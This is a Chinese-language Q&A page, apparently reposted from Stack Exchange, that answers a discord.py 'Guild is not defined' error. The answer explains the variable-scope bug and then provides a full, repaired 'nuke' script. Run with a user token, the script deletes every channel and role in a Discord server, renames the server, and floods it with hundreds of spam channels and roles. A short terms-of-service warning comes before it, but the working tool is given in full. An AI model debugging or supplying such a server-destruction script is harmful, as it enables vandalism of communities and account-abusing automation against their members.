discord.py开发遇Guild is not defined报错的分析解决咨询
问题成因
- 核心原因是变量作用域不匹配:
guild是nuke函数内部声明的局部变量,仅在函数内部可访问,你将print(f"[!] NUKE: Done nuking {guild}")写在了函数外部,执行时无法获取到guild变量,直接触发未定义错误。 - 同时你的代码还存在多个隐藏问题会导致后续运行失败:
client.fetch_guild要求传入整数类型的服务器ID,你直接传入input得到的字符串类型guildid会触发参数类型错误nuke函数声明了无用的self参数,且没有绑定到Discord客户端的执行逻辑,实际运行时函数不会被调用- 新版discord.py中
create_role需要显式指定name参数,直接传入字符串会触发参数错误
修复方案
风险提示:使用用户token(bot=False)进行自动化操作、恶意破坏Discord服务器属于违反Discord服务条款的行为,会导致账号永久封禁,以下仅针对代码语法问题提供修复,不鼓励任何违规操作。
import discord # 这里需提前导入你用到的c模块(终端颜色输出) token = input("[!] Token: ") # 声明Discord客户端实例 intents = discord.Intents.default() client = discord.Client(intents=intents) async def nuke(): # 输入转成整数类型适配接口要求 guildid = int(input("[?] Guild Id to nuke: ")) guild = await client.fetch_guild(guild_id=guildid) question = input(f"[?] Are you sure you want to nuke {guild} if not then close the application.") for channel in guild.channels: try: await channel.delete() print(c.GREEN+f"[-] CHANNEL: {channel} deleted") except: print(c.RED+f"[x] CHANNEL: Couldn't delete {channel}") for role in guild.roles: try: await role.delete() print(c.GREEN+f"[-] ROLE: {role} deleted") except: print(c.RED+f"[x] ROLE: Couldn't delete {role}") await guild.edit(default_notifications=discord.NotificationLevel.all_messages,verification_level=discord.VerificationLevel.extreme ,name="}﷽﷽﷽", icon=None) # 注:Discord有服务器频道/角色数量上限,无法创建超过上限的资源,触发限制后自动中断 for x in range(500): try: await guild.create_text_channel(name="﷽﷽﷽﷽﷽﷽﷽﷽﷽") await guild.create_voice_channel(name="﷽﷽﷽﷽﷽﷽﷽﷽﷽") await guild.create_category(name="﷽﷽﷽﷽﷽﷽﷽﷽﷽") except: break for x in range(250): try: # 显式指定name参数适配接口要求 await guild.create_role(name="﷽﷽﷽﷽﷽﷽﷽﷽") except: break # 打印逻辑移到函数内部,可正常访问guild变量 print(f"[!] NUKE: Done nuking {guild}") await client.close() return # 绑定到客户端就绪事件,启动后自动执行销毁逻辑 @client.event async def on_ready(): await nuke() try: client.run(token, bot=False) except: print("Token Invalid")
内容的提问来源于stack exchange,提问作者warden
相关产品推荐
相关产品推荐

